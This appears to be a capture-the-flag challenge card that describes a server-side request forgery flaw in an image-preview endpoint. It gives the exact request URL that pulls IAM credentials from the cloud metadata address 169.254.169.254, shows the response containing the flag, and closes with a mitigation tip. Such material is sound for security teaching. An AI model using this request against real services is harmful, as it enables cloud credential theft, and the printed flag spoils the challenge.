The Cloud's Worst Endpoint
200 points · 0 solved
A preview-image feature fetches any URL you give it — including 169.254.169.254.
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "ss{metadata_is_not_a_backdoor}",
"Token": "..."
}SSRF + cloud metadata = instant credentials. Block link-local ranges at the fetcher.
Hints0/2